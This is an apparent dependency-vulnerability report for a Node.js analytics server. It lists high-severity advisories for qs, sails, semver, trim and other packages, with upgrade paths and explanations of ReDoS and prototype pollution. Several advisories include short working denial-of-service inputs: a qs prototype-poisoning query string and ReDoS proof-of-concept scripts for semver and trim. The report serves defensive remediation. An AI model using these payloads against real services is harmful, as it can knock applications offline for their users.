High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
References
high severity
- Vulnerable module: qs
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server, grunt-contrib-watch@1.0.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › qs@0.6.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2 › qs@5.2.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2 › qs@5.2.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › qs@5.1.0Remediation: Upgrade to grunt-contrib-watch@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › qs@5.1.0Remediation: Upgrade to sails@1.0.0.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString(), hasOwnProperty(),etc.
From qs documentation:
By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.
Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.
In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [ or ]. e.g. qs.parse("]=toString") will return {toString = true}, as a result, calling toString() on the object will throw an exception.
Example:
qs.parse('toString=foo', { allowPrototypes: false })
// {}
qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten
For more information, you can check out our blog.
Disclosure Timeline
- February 13th, 2017 - Reported the issue to package owner.
- February 13th, 2017 - Issue acknowledged by package owner.
- February 16th, 2017 - Partial fix released in versions
6.0.3,6.1.1,6.2.2,6.3.1. - March 6th, 2017 - Final fix released in versions
6.4.0,6.3.2,6.2.3,6.1.2and6.0.4
Remediation
Upgrade qs to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server, grunt-contrib-watch@1.0.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › qs@0.6.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2 › qs@5.2.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2 › qs@5.2.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › qs@5.1.0Remediation: Upgrade to grunt-contrib-watch@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › qs@5.1.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › body-parser@1.17.1 › qs@6.4.0Remediation: Upgrade to sails@1.1.0.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.
Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade qs to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.
References
high severity
- Vulnerable module: sails
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14Remediation: Upgrade to sails@1.5.7.
Overview
sails is a framework for building realtime apps, using MVC conventions (based on Express and Socket.io).
Affected versions of this package are vulnerable to Uncaught Exception. An attacker can send a virtual request that will cause the node process to crash.
Workaround
Users who are unable to upgrade to the fixed version can disable the sockets hook and remove the sails.io.js client.
Remediation
Upgrade sails to version 1.5.7 or higher.
References
high severity
- Vulnerable module: sails-hook-sockets
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14Remediation: Upgrade to sails@1.0.0.
Overview
sails-hook-sockets is an Implements socket.io support in Sails
Affected versions of this package are vulnerable to Denial of Service (DoS). It allows attackers to cause a denial of service with a single request because there is no error handler to handle an empty pathname in a WebSocket request.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade sails-hook-sockets to version 1.5.5 or higher.
References
high severity
- Vulnerable module: semver
- Introduced through: node-sass@4.14.1, nodegit@0.18.3 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › semver@5.3.0Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › semver@5.3.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › semver@4.3.6Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › semver@4.3.6Remediation: Upgrade to sails@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › pg@4.5.5 › semver@4.3.6Remediation: Upgrade to sails-postgresql@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › semver@5.1.0Remediation: Upgrade to sails@1.5.7.
Overview
semver is a semantic version parser used by npm.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
PoC
const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})
const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.
References
high severity
- Vulnerable module: socket.io-parser
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-parser@2.3.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-adapter@0.5.0 › socket.io-parser@2.3.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › socket.io-parser@2.3.1Remediation: Upgrade to sails@1.0.0.
Overview
socket.io-parser is a socket.io protocol parser
Affected versions of this package are vulnerable to Denial of Service (DoS) via a large packet because a concatenation approach is used.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade socket.io-parser to version 3.3.2, 3.4.1 or higher.
References
high severity
- Vulnerable module: trim
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › anchor@0.11.6 › @mapbox/geojsonhint@2.0.1 › vfile-reporter@3.0.0 › trim@0.0.1
Overview
trim is a Trim string whitespace
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the trim() method.
PoC by Liyuan Chen:
var trim = require("trim")
function build_attack (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var time = Date.now();
trim(build_attack(50000))
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade trim to version 0.0.3 or higher.
References
high severity
- Vulnerable module: trim-newlines
- Introduced through: node-sass@4.14.1, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › meow@3.7.0 › trim-newlines@1.0.0Remediation: Upgrade to node-sass@6.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › dateformat@1.0.12 › meow@3.7.0 › trim-newlines@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › dateformat@1.0.12 › meow@3.7.0 › trim-newlines@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-cssmin@1.0.1 › maxmin@1.1.0 › pretty-bytes@1.0.4 › meow@3.7.0 › trim-newlines@1.0.0Remediation: Upgrade to grunt-contrib-cssmin@2.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-uglify@1.0.1 › maxmin@1.1.0 › pretty-bytes@1.0.4 › meow@3.7.0 › trim-newlines@1.0.0Remediation: Upgrade to grunt-contrib-uglify@3.4.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-cssmin@1.0.1 › maxmin@1.1.0 › pretty-bytes@1.0.4 › meow@3.7.0 › trim-newlines@1.0.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-uglify@1.0.1 › maxmin@1.1.0 › pretty-bytes@1.0.4 › meow@3.7.0 › trim-newlines@1.0.0Remediation: Upgrade to sails@1.0.0.
Overview
trim-newlines is a Trim newlines from the start and/or end of a string
Affected versions of this package are vulnerable to Denial of Service (DoS) via the end() method.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade trim-newlines to version 3.0.1, 4.0.1 or higher.
References
high severity
- Vulnerable module: underscore.string
- Introduced through: grunt@1.0.1 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › underscore.string@3.2.3Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › underscore.string@3.2.3Remediation: Upgrade to sails@1.0.0.
Overview
underscore.string is a Javascript lacks complete string manipulation operations.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade underscore.string to version 3.3.6 or higher.
References
high severity
- Vulnerable module: unset-value
- Introduced through: nyc@11.9.0, babel-cli@6.26.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
